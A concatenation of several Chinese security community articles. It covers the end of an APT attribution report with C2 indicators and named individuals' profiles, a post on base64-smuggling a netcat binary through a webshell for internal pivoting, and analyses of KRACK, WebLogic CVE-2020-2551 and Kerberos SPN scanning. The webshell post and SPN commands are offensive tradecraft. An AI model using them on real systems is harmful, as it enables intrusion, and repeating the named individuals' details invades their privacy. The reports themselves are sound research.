此外fast-cargo.com关联到的样本大量使用了“订单（order）、付款（payment）”等词汇作为文件\邮件名，钓鱼邮件的内容也与此相关。这些特点与近年来泛滥的“钓鱼订单”攻击一致，所谓的“钓鱼订单”攻击，是一类主要针对各国外贸、商业公司的财务人员发起的、主要目的为窃取这些公司财产的攻击：
综上，通过360威胁情报中心的数据关联，使用这批样本的团伙或许就是Palo Alto报告中提及的参与过C-Major
APT攻击行动的团伙ProjectM，并且在平时还参与一些针对各国外贸、商业公司的财务人员的“敛财”活动。
## 移动端木马及溯源
另外，我们发现该团伙在hxxp://www[.]0-day.us/img/中上传了一批最新的文件，其中hxxp://www[.]0-day.us/img/exe/15.bat这个文件引起了我们的注意。该文件是一个批处理文件，应该是由cobalt
strike生成的攻击载荷，里面调用powershell去解压出一段shellcode，再由shellcode下载下一步的攻击载荷：
在ShellCode中发现了一个硬编码的下载链接：hxxps://174[.]127.126.186/Vvt8M5jr3PfPk86RlT8Y0gvXaXyiP0MLuC，该链接应该是下载下一步攻击载荷的地址，但是分析时已经失效，我们通过360威胁情报分析平台上关联得到两个样本，其中MD5为fbe429a5485258e04717283cacba2134的样本是一个APK文件，看来这个团伙的攻击还涉及到Android平台：
该样本为测试用样本，所有行为都是依赖界面点击行为触发：
其实现功能比较全面，可以用于上传手机上的短信，联系人信息，通话记录，定位信息，DCIM 下的照片，其还具备控制摄像头和录音的功能。其上传方式为 HTTP
POST 方式，并且 CC 域名位于资源字符串中。另外其默认配置用于文件存储的路径为 SDCard 下的 Huawei
路径，我们推测其可能使用的华为手机进行测试：
该移动木马的资源文件中有两个独立的图片文件，两幅图片都与巴基斯坦相关，由于该木马是测试阶段的木马程序，我们有理由相信两幅图片可能是作者自己放置进去的：
使用360威胁情报分析平台继续搜索木马连接的域名：arydigital.biz
该域名有可能是攻击者长期使用和拥有的测试域名，其注册邮箱为michael.khana@gmail.com，从注册信息来看其同样指向了巴基斯坦，该邮箱历史还注册过其他两个域名，包括一个伪装成
WhatsApp
更新的网站和一个在线市场站点，根据注册时间推测其有可能是已经用于攻击或准备用于攻击所使用的域名，其更可能使用在用于社交网络或邮件的方式来投放和诱导攻击目标：
我们发现该邮箱注册的 GitHub 帐号在社区异常活跃，其长期关注和参与部分攻击相关的代码仓库。其在2017.7.22对一个开源 Android RAT
项目AhMyth上发过 Issue询问木马客户端是否可以适配与HTTP 的 Web 服务器使用，在2017.1.11在 GitHub 上讨论问题的时候留下
Regards Tehseen Sagar 的问候语，所以改 GitHub 账户 ID 极有可能是以其真实姓名连接而成：
其中Tehseen为穆斯林常用的名字，而 Sagar 作为姓氏也常用于巴基斯坦、印度等国家：
对whatsappupdat.com进行进一步关联分析，其曾经映射 IP 为79.143.189.123，该 IP
关联到FOREIGN家族的远控木马和恶意的 Excel
文档，其中包含PDB信息为F:\Projects\pios\tehs\micsa\mrias\obj\x86\Debug\wicsa.pdb。根据样本签名中的Cretivok，我们联系到Cretivok.com
网站，其地址为巴基斯坦第一大城市卡拉奇：
并且找到在巴基斯坦的公司名称为Cretivok。其主要人员都具备从事 PC、Web 和 Android 的开发能力：
该公司也位于卡拉奇，并且成立时间在2017年，其他成员和CEO的Linked in页面如下：
<https://www.linkedin.com/in/qazi-jalil-b1bab693/>
<https://www.linkedin.com/in/farrukh-khalid-2ba17a120/>
<https://www.linkedin.com/in/asim-bilal-0b8aa564/>
而移动端木马证书的创建时间也在2017.5月：
## 攻击者画像
综合上述分析，我们将本次攻击事件中涉及的攻击者虚拟身份以及网络基础设施与Palo Alto报告中（见参考链接[2]和[3]）提及的参与过C-Major
APT攻击行动的团伙ProjectM进行比较：
我们有理由相信本次样本中涉及的攻击人员有较大的可能属于ProjectM团伙，且团队成员来自巴基斯坦，非常熟悉诸如网络渗透、漏洞利用以及针对 Windows
和 Android终端的木马开发。
## IOC
**下载木马的地址**
---
www.0-day.us
**C &C**
174.127.126.186
115.186.136.237:5555
aqibseo.ddns.net:777
**样本MD5**
746b288b2ab3a549259f4e8203a311bc
f1b0f7e203409af349f964d7f5b005ad
ba16307ccf4e060eb2ae8fe2068dc21e
f29bee9afc79e4120b57cf4e7743f253
4c6c732207f5c124e4a89497a51b3f50
4c6c732207f5c124e4a89497a51b3f50
aca385ebb6000b89152701f6870c1696
6af6892083aa1c23bec6fe4daeed0bb6
474189427ffe3ffea133445bbce8e8e5
4c6c732207f5c124e4a89497a51b3f50
7d652bafc89acd693f0a6d940cbc57e6
181fe5e18d3774433da98d46d80e8a65
a053f5057893c5a7fef3e28ac64532f2
133bfe711c95bfcd1ccae2988b63ae8c
ee60ec3a163d09297a9ad0ae8b8987da
9960750d8f34f53079cbef8ff139491a
ee60ec3a163d09297a9ad0ae8b8987da
ee60ec3a163d09297a9ad0ae8b8987da
3550099425b5c16cc1e500d133e4695d
1ea1355cd1016c9d0f9f8b3dd5ff7ad7
bbf0c048330e3d157f6dc738c8bace80
0854f0f744d3797e38cc07304db68764
c0528af613e3d8c08324a796b3b10ee7
ee60ec3a163d09297a9ad0ae8b8987da
131c2dbfa3ef58cc1ac9ed5ccd89b425
1352161ba9b9599583019c4fc2acdea7
ef93fb9a755406397c5fcf040c2a9283
6da913bb8b1530aa3787811dcc41974f
8769c8e156b689fb0750a9747df11f4e
284acfeb8f427c3777a09478c7903c0d
## 参考
[1].<https://ti.360.net/blog/articles/apt-report-of-2017/>
[2].<https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/>
[3].<https://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/>
[4].<https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-11882-exploited-deliver-cracked-version-loki-infostealer/>
[5].<https://documents.trendmicro.com/assets/appendix-CVE-2017-11882-exploited-to-deliver-a-cracked-version-of-the-loki-infostealer.pdf>
[6].<https://www.darkreading.com/attacks-breaches/microsoft-office-docs-new-vessel-for-loki-malware/d/d-id/1330678>
[7].<https://ti.360.net> | 社区文章 |
先说说环境吧，之前在渗透过程中遇到一个linux+tomcat的站，不通外网，能执行大部分的shell命令
权限非root。手上只有一个jspspy的shell，web目录是挂载的网络磁盘（类似于NAS之类的吧），整个磁盘被限制只能读取不能写入，而且jspspy的上传功能也无法正常使用(上传文件提示是上传成功，但是就是没有文件，大神说可能是jsp上传组件关闭的原因)。现在能写的方式就只有通过shell
新建文本文件的方式写入到/tmp之类的可写目录下。
现在目的是想通过此服务器代理进内网，由于不能写入webshell
通过jsp代理行不通，往外又不能通，MSF什么的压根排不上用场，唯一希望寄托的在dns隧道上，所以只能通过上二进制+dns隧道（最终dnscat是上去了，但dns隧道还是出不来……）。
由于jspspy的上传功能无法正常使用
想上二进制就成了难题。还好有师傅提醒可以使用base64的方式。中途也遇到不少坑，借此简单把这个方式分享下，希望遇到类似的师傅能少走弯路。
首先在本地把需要上传的二进制文件进行base64加密 例如nc
base64 /root/nc > /root/nc_enc.txt
然后把加密后的字符串用shell写入到服务器上，然后再用base64还原成二进制文件执行
base64 -d -i /tmp/nc_enc.txt > /tmp/nc
这里一定要加上-i参数 该参数用于忽略非字母表字符，比如换行符。因为在POST提交过程中貌似要被添加上换行符，为此我就被坑了一天时间。
对类似环境有什么思路或者其他奇技淫巧的师傅不妨都来讨论讨论。 | 社区文章 |
### 作者：阿里安全技术平台团队
**0x00 漏洞概述**
安全研究员Mathy Vanhoef发现的WPA2协议的KRA（Key Reinstallation
Attacks）漏洞，利用WPA2协议标准加密密钥生成机制上的设计缺陷，四次握手协商加密密钥过程中第三个消息报文可被篡改重放，导致在用密钥被重新安装。
WiFi网络通过WPA2
handshake四次握手消息协商用于后续数据通信的加密密钥，其中交互的第三个消息报文被篡改重放，可导致中间人攻击重置重放计数器(replay
counter)及随机数值(nonce)，重放给client端，使client安装上不安全的加密密钥。
此漏洞攻击方式被命名为Key reinstallation attacks密钥重装攻击，除了影响已经在用的数据加密密钥，同时也影响PeerKey,
group key, Fast
BSS切换FT握手等，会导致WiFi通信数据加密通道不安全，存在被嗅探、篡改和重放等风险，攻击者可获取WiFi网络中的数据信息。
几乎所有支持Wi-Fi的设备（Android, Linux, Apple, Windows, OpenBSD, MediaTek,
Linksys等）都面临安全威胁，危害较大。
该漏洞相关影响取决于被攻击的握手过程和数据加密协议，例如AES-CCMP可被重放和解密，TCP流量存在被劫持和注入恶意流量的可能，WPATKIP和GCMP可被重放、篡改及解密，影响会更大，因为GCMP两端使用的相同的认证密钥。
相关CVE如下，其中每个CVE代表一种特定场景下的密钥重装攻击。
l CVE-2017-13077: 四次握手过程中重装PTK-TK加密密钥对
l CVE-2017-13078: 四次握手过程中重装GTK
l CVE-2017-13079: 四次握手过程中重装IGTK
l CVE-2017-13080: Group key 握手过程中重装GTK
l CVE-2017-13081: 握手过程中重装IGTK
l CVE-2017-13082: 接收重传的快速BSS切换重关联请求，在处理过程中重安装PTK-TK加密密钥对
l CVE-2017-13084: 在PeerKey握手过程中重安装STK KEY
l CVE-2017-13086: 在DTLS握手过程中重安装TDLS PeerKey
l CVE-2017-13087: 在处理WNM睡眠模式响应帧过程中重安装GTK
l CVE-2017-13088: 在处理WNM睡眠模式响应帧过程中重安装IGTK
**漏洞攻击演示视频：**
**<https://www.youtube.com/watch?v=BtdN1SM5Z5o>**
### **0x01 WPA2协议介绍**
WPA全名为Wi-Fi Protected Access，有WPA和WPA2两个标准, WPA（Wi-Fi Protected
Access）加密方式目前有四种认证方式：WPA、WPA-PSK、WPA2、WPA2-PSK，采用的加密算法有两种：AES（Advanced
Encryption Standard高级加密算法）和TKIP（Temporal Key Integrity Protocol临时密钥完整性协议）。
由于WEP已被证明为不安全的协议，在[802.11i](https://baike.baidu.com/item/802.11i)协议完善前，采用WPA为用户提供一个临时性的解决方案。该标准的[数据加密](https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E5%8A%A0%E5%AF%86)采用TKIP协议(Temporary
Key Integrity
Protocol)，TKIP的两个主要功能是：逐包密钥及消息完整性检查（MIC），与WEP相同的加密算法RC4来实现这一点，虽然TKIP解决了所有已知的WEP问题，但WPA2的AES加密更安全，适应更广泛的工业标准并在实践中广泛使用。
WPA2是WPA的增强型版本，与WPA相比，WPA2新增了支持AES的加密方式，采用AES加密机制。
### **0x02 Key reinstallation attacks密钥重装攻击**
四次握手协商密钥过程中消息报文见图1EAPOL格式，其中重放计数replay
counter字段用于检测重复报文，每次发送一个报文，重放计数加一，nonce字段为加密密钥生成所需要的随机数。
**图1 EAPOL帧简化报文格式**
以group key为例，首先Client进入PTK-INIT状态，初始化(PMK)，当接收到消息1进入PTK_START状态，client会生成随机数SNonce，计算临时TPTK，发送消息2（带SNonce）到AP，当Client接收到消息3，replay
counter重放计数等有效的条件下，进入PTK-NEGOTIATING协商状态，同时标记TPTK为有效，发送消息4到AP，然后直接进入PTK-DONE状态,使用MLME-SETKEYS安装KEY。
**特别注意的是，此状态机过程来自于802.11标准，清晰的考虑了未收到消息2或者4的情况，消息1或者3会继续重传。** 具体如下：
**图2 四次握手状态机，KEY用MLME-SETKEYS.request命令字进行安装**
当client作为Supplicant加入wifi网络，client与AP认证端Authenticator进行四次握手协商新的加密密钥，见下图3，在接收到四次握手中的第3个消息报文时会安装新生成的加密密钥，后续数据通信使用该密钥进行数据加密。
因为报文可能丢失，如果AP未接收到client的响应会重发第三个消息报文，所以
**client可能重复接收到第3个消息报文多次。每次当client接收到此消息，都会重新安装相同的加密密钥，然后重置协议加密使用到的nonce值及重放计数。**
**攻击者可通过嗅探、重放四次握手过程中的第3个消息报文，强制重置协议加密使用到的nonce值及重放计数，重安装加密密钥，从而攻击协议的加密机制，数据报文可被重放、解密及篡改。**
该攻击方法同时可用于攻击已在使用的加密密钥、group key、PeerKey, TDLS及快速BSS切换握手等。
**图3 Group Key场景四次握手**
### **0x03 漏洞根因分析及影响**
802.11协议标准仅提供描述粗粒度的伪码描述四次握手的状态机，但并未清晰描述特定的握手消息应该在什么时候处理。
**密钥重装漏洞滥用了消息3重传的流程，首先在Client和AP之间确定MitM中间人攻击的点，在AP接收到消息4之前不断重传篡改后的消息3，导致Client重新安装已用的加密密钥，同时重置nonce值。**
实际情况，实施此攻击的时候，并非所有的Wi-Fi客户端client都正确实现了此状态机，Windows和iOS未接收处理消息3的重传，这违背了802.11标准，所以密钥重装漏洞攻击的时候并未生效产生漏洞，但在group
key握手的场景下仍然存在安全漏洞，此外在FT握手情况下仍可能被间接攻击。
对于Android 6.0影响更大，在此攻击的情况下，强制使用了可预测全零的加密密钥。
密钥重装漏洞攻击实际影响如下图4，第一列代表不同类型的Client客户端，第2列表示不同Client类型是否接受消息3，第三列表示如果PTK配置，EAPOL消息明文是否接收，第4列表示首个消息3报文快速发送后是否接收明文EAPOL报文，
**最后两列表示是否受到此漏洞攻击的影响。**
特别需要注意的，研究者当前并没有破解Wi-Fi网络的密码，也并没有通过四次握手协商过程的攻击破解新生成的加密密钥。
**图4不同Clients的实际漏洞效果**
### **0x04 漏洞影响范围**
此漏洞存在于协议标准设计缺陷，所有支持WPA2的客户端都受到影响。
攻击主要面向WPA2客户端设备。
### **0x05 漏洞安全加固建议**
1、 漏洞攻击需要实施MitM中间人攻击，条件许可建议合理部署无线入侵防御系统或者VPN加密，及时监测恶意钓鱼WiFi，禁止私搭AP等；
2、 及时升级此漏洞的安全补丁（有补丁的情况），更新WPA2客户端到最新版本；
3、 仅连接可信wifi，公共场合尽量使用蜂窝移动网络，wifi连接不用的情况下建议禁用，攻击面最小化。
**注：**
Linux的hostapd和wpa_supplicant补丁已公布，详见
<[https://w1.fi/security/2017-1/>。](https://w1.fi/security/2017-1/>。)
微软在Windows 10操作系统中发布补丁KB4041676。
苹果在最新的beta版本iOS等中修复了无线网络安全漏洞。
参考文档:
[1]
<[https://papers.mathyvanhoef.com/ccs2017.pdf>](https://papers.mathyvanhoef.com/ccs2017.pdf>);
[2]<[https://techcrunch.com/2017/10/16/wpa2-shown-to-be-vulnerable-to-key-reinstallation-attacks/>](https://techcrunch.com/2017/10/16/wpa2-shown-to-be-vulnerable-to-key-reinstallation-attacks/>); | 社区文章 |
# WebLogic WLS核心组件RCE分析（CVE-2020-2551）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞概述
Weblogic官方在1月补丁中修复了CVE-2020-2551漏洞，该漏洞位于WLS核心组件中，允许远程攻击者通过iiop进行网络请求，从而攻击Weblogic服务器，最终远程攻击者可以利用该漏洞完全接管Weblogic服务器。
从通告中我们能看到漏洞发生在WLS的核心组件，所以给了我们一个思路去分析该漏洞，只需要从接受并解析iiop请求点入手进行分析即可。
## 0x02 漏洞分析
分析该漏洞应该从两方面来进行：
* 客户端：通过分析Context的生成过程以及Context.bind()的流程来理解服务端解析的数据结构
* 服务端：通过分析解析流程最终找到漏洞触发点
本文也将从这两个方面进行分析。分析到最后其实会发现iiop只是触发方式，关键的触发点还是由于Weblogic应用本身的处理逻辑，也就是说本质上是个应用漏洞而非协议漏洞。
### 2.1 Context的生成以及bind的流程
无论利用rmi-iiop的方式去写客户端，还是写服务端，都需要在编写具体逻辑前获取Conetext对象，也就是如下的代码：
new InitialContext();
如果研究过CORBA通信过程的话，就能理解这一部分是获取Naming
Service的过程，对于客户端来说是获取其中存在的IOR引用以供后面的rpc流程使用；对于服务端来说，用于完成对象注册。这里来跟进一下Context的生成过程，方便后续理解Weblogic的解析逻辑。
这里有个很重要的参数environment，在该参数中可以设置Context的静态变量来指定Context的初始化参数，包括JNDI_FACTORY、PROVIDER_URL。这些初始化参数在后续的流程中有极其重要的作用。
当在environment中设置了Context.INITIAL_CONTEXT_FACTORY后会尝试获取该Context factory：
这里会根据设定的Context.INITIAL_CONTEXT_FACTORY，反射获取工厂类，之后调用getInitialContext()方法。首先看一下在JDK中原生以及在Weblogic中所拓展出的工厂类到底有哪些：
这里我们简单的看一下WLInitialContextFactory这个Weblogic拓展的工厂类：
这里跟进看一下getORBReference()方法：
这里和CORBA的写法是一样的：
都是初始化orb获取Naming
Service的过程，如果想要了解详细的过程，可以研究一下上一篇讲[CORBA的文章](https://cert.360.cn/report/detail?id=d3f6666d6558f02a6204dd51cb749558)。
在获取了Context后，接着来看一下其绑定流程，此流程在bind()函数中有所体现：
熟悉CORBA的同学肯定一眼就能看出这里完成的是生成IOR，同时设定corba协议中的数据类型与java类型交互的约定为tk_value，并设定请求的op或者叫做operation为bind_any。这里不仅仅设定了服务端对注册请求的处理方式（bind_any的处理流程），同时设定了后面反序列化的方式（tk_value）。
### 2.2 Weblogic解析流程
在了解了Context的生成及bind()流程后，接着来看一下Weblogic的解析流程。Weblogic默认在7001端口接收iiop请求，所有的请求都是交由weblogic.rmi.cluster.ClusterableServerRef#invoke来处理的：
在handleRequest中的流程较为长，我只截关键处理点：
直接跟进var2.invoke()，具体的实现方法在weblogic.rmi.cluster.ClusterableServerRef#invoke：
这里首先会判断请求是否为objectMethods中已经存在的类型，当不存在时将会调用delegate.invoke()来处理，由于我们在发送注册请求时的请求类型为bind_any()并不在objectMethods中，所以会触发delegate.invoke()，具体的实现类为weblogic.corba.cos.naming._NamingContextAnyImplBase#_invoke：
因为我们当前的请求类型为bind_any()，其所对应的var5为0，所以会进入两个关键的流程：
* WNameHelper.read()
* var2.read_any()
在WNameHelper.read()主要负责提取IOR中的信息（id、kind）用于之后注册到orb的流程中。
而反序列化的触发点在var2.read_any()中：
在上一节中，已经说过在bind()流程中发起注册请求时，会构造一个Any类，并将交互类型设置为tk_value也就是this.read_TypeCode()。继续跟进：
这里会根据TCKind来分派具体的处理流程，tk_value对应29：
接下来就是之前CORBA文章中所提到过的反序列化流程：
由CDRInputStream跳转到JDK原生反序列化：
至此分析结束。
## 0x03 利用研究
根据0x02中的分析，可以梳理出攻击需要的两个元素：
* 构造一个bind_any()请求
* 寻找一条gadget填充到Any类中
攻击效果如下：
## 0x04 时间线
2020-02-25 360CERT发布分析报告
## 0x05 参考链接
1. <https://cert.360.cn/report/detail?id=d3f6666d6558f02a6204dd51cb749558>
2. <https://cert.360.cn/warning/detail?id=8746760715a399499f8a46fb85edcda1>
3. <https://www.oracle.com/security-alerts/cpujan2020.html> | 社区文章 |
# Kerberos协议探索系列之扫描与爆破篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
Kerberos是一种由MIT（麻省理工大学）提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。
在了解Kerberos的过程中，发现很多网站上的相关文章有一些是机器直接翻译过来的，也有一些写的比较优秀的文章，但是实操性比较弱，可能第一次了解Kerberos的同学会不知道怎么上手。所以本文主要是通过更详细的实验结合原理来说明与Kerberos相关的一些攻击手法。
本文将分为三篇。第一篇也就是这一篇的内容主要包括域环境和Kerberos协议的说明以及Kerberoasting的攻击方式。第二篇主要包括MS14068漏洞和Kerberos票据的利用说明。第三篇的内容主要说明关于Kerberos委派的攻击方式及原理。
## 0x01域环境
由于Kerberos主要是用在域环境下的身份认证协议，所以在说之前先说下域环境的一些概念。首先域的产生是为了解决企业内部的资源管理问题，比如一个公司就可以在网络中建立一个域环境，更方便内部的资源管理。在一个域中有域控、域管理员、普通用户、主机等等各种资源。
在下图中YUNYING.LAB为其他两个域的根域，NEWS.YUNYING.LAB和DEV.YUNYING.LAB均为YUNYING.LAB的子域，这三个域组成了一个域树。子域的概念可以理解为一个集团在不同业务上分公司，他们有业务重合的点并且都属于YUNYING.LAB这个根域，但又独立运作。同样TEST.COM也是一个单独的域树，两个域树YUNYING.LAB和TEST.COM组合起来被称为一个域林。
本文就以根域为YUNYING.LAB的这个域来演示，YUNYING.LAB的域控是DC.YUNYING.LAB，子域NEWS.YUNYING.LAB和DEV.YUNYING.LAB的域控分别为NEWSDC.NEWS.YUNYING.LAB和DEVDC.DEV.YUNYING.LAB。
上面说的都是FQDN(Fully Qualified Domain Name)名称，也就是全限定域名，是同时包含主机名和域名的名称。
例：DC.YUNYING.LAB中DC为主机名，域名为YUNYING.LAB，那他的FQDN名称就是DC.YUNYING.LAB。
如何搭建域环境以及如何建立子域可参考网上的一些说明，这里放两个链接作为参考。
<https://jingyan.baidu.com/article/19192ad8e1593ae53e5707be.html>
<http://blog.51cto.com/vbers/2058306>
本域中采用的操作系统为Windows Server 2008 R2+Windows 7。
## 0x02Kerberos简介
在Kerberos认证中，最主要的问题是如何证明“你是你”的问题，如当一个Client去访问Server服务器上的某服务时，Server如何判断Client是否有权限来访问自己主机上的服务，同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性，这正是Kerberos解决的问题。在域渗透过程中Kerberos协议的攻防也是很重要的存在。
### 1 Kerberos协议框架
在Kerberos协议中主要是有三个角色的存在：
1. 访问服务的Client
2. 提供服务的Server
3. KDC（Key Distribution Center）密钥分发中心
其中KDC服务默认会安装在一个域的域控中，而Client和Server为域内的用户或者是服务，如HTTP服务，SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。
如果把Kerberos中的票据类比为一张火车票，那么Client端就是乘客，Server端就是火车，而KDC就是就是车站的认证系统。如果Client端的票据是合法的（由你本人身份证购买并由你本人持有）同时有访问Server端服务的权限（车票对应车次正确）那么你才能上车。当然和火车票不一样的是Kerberos中有存在两张票，而火车票从头到尾只有一张。
由上图中可以看到KDC又分为两个部分：
Authentication Server： AS的作用就是验证Client端的身份（确定你是身份证上的本人），验证通过就会给一张TGT（Ticket
Granting Ticket）票给Client。
Ticket Granting Server：
TGS的作用是通过AS发送给Client的票（TGT）换取访问Server端的票（上车的票ST）。ST（Service Ticket）也有资料称为TGS
Ticket，为了和TGS区分，在这里就用ST来说明。
KDC服务框架中包含一个KRBTGT账户，它是在创建域时系统自动创建的一个账号，可以暂时理解为他就是一个无法登陆的账号。
### 2 Kerberos认证流程
当Client想要访问Server上的某个服务时，需要先向AS证明自己的身份，然后通过AS发放的TGT向Server发起认证请求，这个过程分为三块：
The Authentication Service Exchange：Client与AS的交互
The Ticket-Granting Service (TGS) Exchange：Client与TGS的交互
The Client/Server Authentication Exchange：Client与Server的交互
(1)The Authentication Service Exchange
KRB_AS_REQ
Client->AS：发送 Authenticator1(Client密码加密TimeStamp)
第一步Client先向KDC的AS发送Authenticator1，内容为通过Client密码Hash加密的时间戳、Client
ID、网络地址、加密类型等内容。
KRB_AS_REP
AS-> Client：发送Client密码加密的sessionkey-as 和票据TGT(KRBTGT HASH加密的sessionkey-as和TimeStamp)
在KDC中存储了域中所有用户的密码HASH，当AS接收到Client的请求之后会根据KDC中存储的密码来解密，解密成功并且验证信息。验证成功后返回给Client由Client密码HASH加密的sessionkey-as和TGT（由KRBTGT HASH加密的sessionkey-as和TimeStamp等信息）。
(2)The Ticket-Granting Service (TGS) Exchange
KRB_TGS_REQ
Client ->TGS 发送 Authenticator2 (sessionkey-as加密TimeStamp) 和 票据TGT(KRBTGT
HASH加密的sessionkey-as和TimeStamp)
Client接收到了加密后的Sessionkey-as和TGT之后，用自身密码解密得到Sessionkey-as，TGT是由KDC密码加密，Client无法解密。这时Client再用Sessionkey-as加密TimeStamp和TGT一起发送给KDC中的TGS（Ticket Granting Server）票据授权服务器换取能够访问Server的票据。
KRB_TGS_REP
TGS-> Client发送 密文1(sessionkey-as加密sessionkey-tgs) 和
票据ST(Server密码HASH加密sessionkey-tgs)
TGS收到Client发送过来的TGT和Sessionkey-as加密的TimeStamp之后，首先会检查自身是否存在Client所请求的服务。如果服务存在，则用KRBTGT密码解密TGT。一般情况下TGS会检查TGT中的时间戳查看TGT是否过期，且原始地址是否和TGT中保存的地址相同。验证成功之后将用sessionkey-as加密的sessionkey-tgs和Server密码HASH加密的Sessionkey-tgs发送给Client。
(3)The Client/Server Authentication Exchange
KRB_AP_REQ
Client ->Server 发送 Authenticator3(sessionkey-tgs加密TimeStamp) 和
票据ST(Server密码HASH加密sessionkey-tgs)
Client收到sessionkey-as加密的sessionkey-tgs和Server密码HASH加密的sessionkey-tgs之后用sessionkey-as解密得到sessionkey-tgs，然后把sessionkey-tgs加密的TimeStamp和ST一起发送给Server。
KRB_AP_REP
Server-> Client
server通过自己的密码解密ST，得到sessionkey-tgs,再用sessionkey-tgs解密Authenticator3得到TimeStamp，验证正确返回验证成功。
这就是Kerberos认证的流程，篇幅所限所以尽量简化说明，更详细的信息可以参考下面链接。
<https://tools.ietf.org/html/rfc4120.html>
### 3 PAC
在Kerberos最初设计的几个流程里说明了如何证明
Client是Client而不是由其他人来冒充的，但并没有声明Client有没有访问Server服务的权限，因为在域中不同权限的用户能够访问的资源是有区别的。
所以微软为了解决这个问题在实现Kerberos时加入了PAC的概念，PAC的全称是Privilege Attribute
Certificate(特权属性证书)。可以理解为火车有一等座，也有二等座，而PAC就是为了区别不同权限的一种方式。
(1)PAC的实现
当用户与KDC之间完成了认证过程之后， Client需要访问Server所提供的某项服务时，
Server为了判断用户是否具有合法的权限需要将Client的User SID等信息传递给KDC， KDC通过SID判断用户的用户组信息， 用户权限等，
进而将结果返回给Server， Server再将此信息与用户所索取的资源的ACL进行比较， 最后决定是否给用户提供相应的服务。
PAC会在KRB_AS_REP中AS放在TGT里加密发送给Client，然后由Client转发给TGS来验证Client所请求的服务。
在PAC中包含有两个数字签名PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM，这两个数字签名分别由Server端密码HASH和KDC的密码HASH加密。
同时TGS解密之后验证签名是否正确，然后再重新构造新的PAC放在ST里返回给客户端，客户端将ST发送给服务端进行验证。
(2)Server与KDC
PAC可以理解为一串校验信息，为了防止被伪造和串改，原则上是存放在TGT里，并且TGT由KDC
hash加密。同时尾部会有两个数字签名，分别由KDC密码和server密码加密，防止数字签名内容被篡改。
同时PAC指定了固定的User SID和Groups ID，还有其他一些时间等信息，Server
的程序收到ST之后解密得到PAC会将PAC的数字签名发送给KDC，KDC再进行校验然后将结果已RPC返回码的形式返回给Server。
## 0x03 Kerberos与SPN
### 1 SPN简介
服务主体名称（SPN：Service Principal
Names）是服务实例（可以理解为一个服务，比如HTTP、MSSQL）的唯一标识符。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林或域中的计算机上安装多个服务实例，则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证，则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例的主机的名称，因此服务实例可以为其主机的每个名称或别名注册SPN。
如果用一句话来说明的话就是如果想使用Kerberos协议来认证服务，那么必须正确配置SPN。
### 2 SPN格式与配置：
在SPN的语法中存在四种元素，两个必须元素和两个额外元素，其中<service class>和<host>为必须元素：
<service class>/<host>:<port>/<service name>
<service class>：标识服务类的字符串
<host>：服务所在主机名称
<port>：服务端口
<service name>：服务名称
例：
如果我想把域中一台主机S2中的MSSQL服务注册到SPN中则可以使用命令Setspn -A MSSQLSvc/s2.yunying.lab:1433
tsvc
注册成功之后可以通过命令setspn -T yunying.lab –q */*或者setspn –q
*/*来查看已经注册的SPN。SPN在其注册的林中必须是唯一的。如果它不唯一，则身份验证将失败。
在注册SPN时，可以使用NetBIOS名称，如s2。也可以使用FQDN(Fully Qualified Domain Name全限定域名)
，如s2.yunying.lab。有可能存在某一种名称注册的SPN不能成功访问的情况，如果没有配置正确可以换一种名称试一试。
一般情况下基于主机的服务会省略后面两个组件，格式为<service class>/<host>：
MSSQLSvc/s2.yunying.lab
如果服务使用非默认端口或者此主机存在多个服务实例的情况下，需要包括端口号或服务名：
MSSQLSvc/ s2.yunying.lab:1433
### 3 SPN扫描
在了解了Kerberos和SPN之后我们可以通过SPN来获取我们想要的信息，比如想知道域内哪些主机安装了什么服务，我们就不需要再进行批量的网络端口扫描。在一个大型域中通常会有不止一个的服务注册SPN，所以可以通过“SPN扫描”的方式来查看域内的服务。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接，且隐蔽性更高。
(1)扫描工具
扫描工具有多种，下面挑选几种较为常见的工具来说明一下：
Discover-PSMSSQLServers：
Discover-PSMSSQLServers是Powershell-AD-Recon工具集中的一个工具，用来查询已经注册了的MSSQL类型的SPN。
GetUserSPNs：
GetUserSPNs是Kerberoast工具集中的一个powershell脚本，用来查询域内注册的SPN。
PowerView：
PowerView是由Will
Schroeder（<https://twitter.com/harmj0y>）开发的Powershell脚本，在Powersploit和Empire工具里都有集成，PowerView相对于上面几种是根据不同用户的objectsid来返回，返回的信息更加详细。
还有一些其他的脚本，使用方法基本类似，可以自己选择合适的工具使用，而且GitHub上面大多数都有下载链接。
(2)原理说明
在SPN扫描时我们可以直接通过脚本，或者命令去获悉内网已经注册的SPN内容。那如果想了解这个过程是如何实现的，就需要提到LDAP协议。
LDAP协议全称是Lightweight Directory Access Protocol，一般翻译成轻量目录访问协议。是一种用来查询与更新 Active
Directory 的目录服务通信协议。AD 域服务利用 LDAP 命名路径（LDAP naming path）来表示对象在 AD 内的位置，以便用它来访问
AD 内的对象。
LDAP 数据的组织方式：
更直观的说可以把LDAP协议理解为一个关系型数据库，其中存储了域内主机的各种配置信息。
在域控中默认安装了ADSI编辑器，全称Active Directory Service Interfaces Editor (ADSI
Edit)，是一种LDAP的编辑器，可以通过在域控中运行adsiedit.msc来打开（服务器上都有，但是只有域控中的有整个域内的配置信息）。
通过adsiedit.msc我们可以修改和编辑LADP，在SPN查询时实际上就是查询LADP中存储的内容。
比如在我们是实验环境域YUNYING.LAB中，存在名为svcserver的一个OU（Organization
Unit，可以理解为一个部门，如开发部、财务部等等），其中包含了tsvc这个用户，从用户属性中可以看到tsvc注册过的SPN内容。
当我们在一台主机执行setspn -T yunying.lab -q
